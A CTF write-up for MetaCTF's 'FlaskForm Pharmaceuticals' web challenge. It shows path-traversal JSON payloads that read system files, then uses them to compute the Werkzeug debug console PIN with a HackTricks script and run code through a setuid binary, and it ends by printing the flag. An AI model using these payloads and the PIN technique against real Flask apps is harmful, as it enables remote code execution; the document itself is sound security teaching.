FlaskForm Pharmaceuticals (web) 2024-05-23
FlaskForm Pharmaceuticals web app
For this challenge, we spawn a container on the MetaCTF servers which is running a web app.
Exploration of the web app takes us to the /products endpoint.
Figure 1: FlaskForm Pharmaceuticals products page
Clicking the “More Info” button on any of the products produces a pop-up with information about the product.
0xe10c 1
FlaskForm Pharmaceuticals (web) 2024-05-23
Figure 2: product information popup
Path Traversal Vulnerability
Using BurpSuite, we can intercept the request sent to the app when the “More Info” button is clicked.
POST /products/detail HTTP/1.1
Host: 1i5t2nhd.chals.mctf.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://1i5t2nhd.chals.mctf.io/products
Content-Type: application/json
Content-Length: 25
Origin: http://1i5t2nhd.chals.mctf.io
Connection: close
{"file":"panacea_elixir"}
We can see that this a POST request containing a parameter named file.
If we supply the name of a file not likely to exist on the server, we can observe an error message in the response.
0xe10c 2
FlaskForm Pharmaceuticals (web) 2024-05-23
POST /products/detail HTTP/1.1
Host: 1i5t2nhd.chals.mctf.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://1i5t2nhd.chals.mctf.io/products
Content-Type: application/json
Content-Length: 15
Origin: http://1i5t2nhd.chals.mctf.io
Connection: close
{"file":"e10c"}
Figure 3: error message exposing file traversal path
Based on the error message, we test for path traversal. The file /etc/passwd is not accessible, but the file
/proc/self/cmdline is. This confirms the path traversal vulnerability.
POST /products/detail HTTP/1.1
Host: 1i5t2nhd.chals.mctf.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://1i5t2nhd.chals.mctf.io/products
Content-Type: application/json
Content-Length: 40
Origin: http://1i5t2nhd.chals.mctf.io
Connection: close
{"file":"../../../../proc/self/cmdline"}
0xe10c 3
FlaskForm Pharmaceuticals (web) 2024-05-23
Figure 4: response validating path traversal vulnerability
Building app from provided source code
The source code of the app is provided with the challenge. Examination of the web app shows that this is a Flask
web app. Flask is a popular Python web framework for building web applications.
Since there is a Dockerfile included, we can use Docker to build the app and run it locally.
Figure 5: building provided Docker apps
Running app locally
When we run the app locally with Docker, we can see the Debugger PIN exposed on the console. However, this PIN
works only with the locally running instance.
0xe10c 4
FlaskForm Pharmaceuticals (web) 2024-05-23
Figure 6: locally run docker instance of app
Generating Werkzeug Debug Console PIN
If we access /console on the target, we are prompted to enter the Werkzeug Debug Console PIN.
HackTricks provides a technique1 for calculating the PIN for the Werkzeug debug console.
Locating mac address
According to the HackTricks article, the needed MAC address can be found in the file /sys/class/net/<interface>.
To find the interface name, we can look in the locally running Docker image.
Figure 7: locating interface and MAC address
By exploiting the path traversal vulnerability, we can obtain the MAC address from the target.
1 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#werkzeug-console-pin-exploit
0xe10c 5
FlaskForm Pharmaceuticals (web) 2024-05-23
POST /products/detail HTTP/1.1
Host: 1i5t2nhd.chals.mctf.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://1i5t2nhd.chals.mctf.io/products
Content-Type: application/json
Content-Length: 49
Origin: http://1i5t2nhd.chals.mctf.io
Connection: close
{"file":"../../../../sys/class/net/eth0/address"}
Figure 8: MAC address of interface
The MAC address must be converted to a decimal number.
Figure 9: converting MAC address to decimal integer
Locating machine id
The exploit says we need the machine ID, which can be found at /etc/machine-id. However, this file does not
exist on the instance running the app.
0xe10c 6
FlaskForm Pharmaceuticals (web) 2024-05-23
We are able to see the Machine ID exposed in the console in the local running Docker app. This means we can find
the information we need on the system.
First, we use the find utility to locate files containing the Machine ID displayed in the app console.
find / \
-exec grep 95116f2f-726c-4e88-af4b-a2bc998defa0 {} \; \
-print 2>/dev/null
Figure 10: locating machine ID
The Machine ID can be found in the file /proc/sys/kernel/random/boot_id.
POST /products/detail HTTP/1.1
Host: 1i5t2nhd.chals.mctf.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://1i5t2nhd.chals.mctf.io/products
Content-Type: application/json
Content-Length: 53
Origin: http://1i5t2nhd.chals.mctf.io
Connection: close
{"file":"../../../../proc/sys/kernel/random/boot_id"}
Figure 11: machine id
Final info for script
We now have all the information required to run the script and generate the Werkzeug Debug Console PIN for the
target.
Copy the sample script from the HackTricks article, making the changes shown in the snippet below.
0xe10c 7
FlaskForm Pharmaceuticals (web) 2024-05-23
probably_public_bits = [
'werkzeug', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'104196739209402', # str(uuid.getnode()), /sys/class/net/ens33/address
'4a25f056-48a7-4b23-978b-94c7a06dae73' # get_machine_id(), /etc/machine-id
]
Figure 12: werkzeug debug console pin
Flag
By entering the calculated PIN, we can gain access to the debug console. From here we can execute Python com-
mands.
Attempting to read the flag located at /app/flag.txt is unsuccessful due to the werkzeug user having insuffi-
cient privileges.
With the provided source code, we can see that there is a binary named readflag, along with its source code
readflag.c. By examining the source code, we can see that the program reads the file flag.txt with root
permissions - notice the setuid(0) call.
0xe10c 8
FlaskForm Pharmaceuticals (web) 2024-05-23
Figure 13: readflag source code
By calling this binary in the Debug Console, we’re able to read the flag.
Figure 14: flag
MetaCTF{m4g1c4l_fl4sks_sh3lv3d_4nd_f1led}
0xe10c 9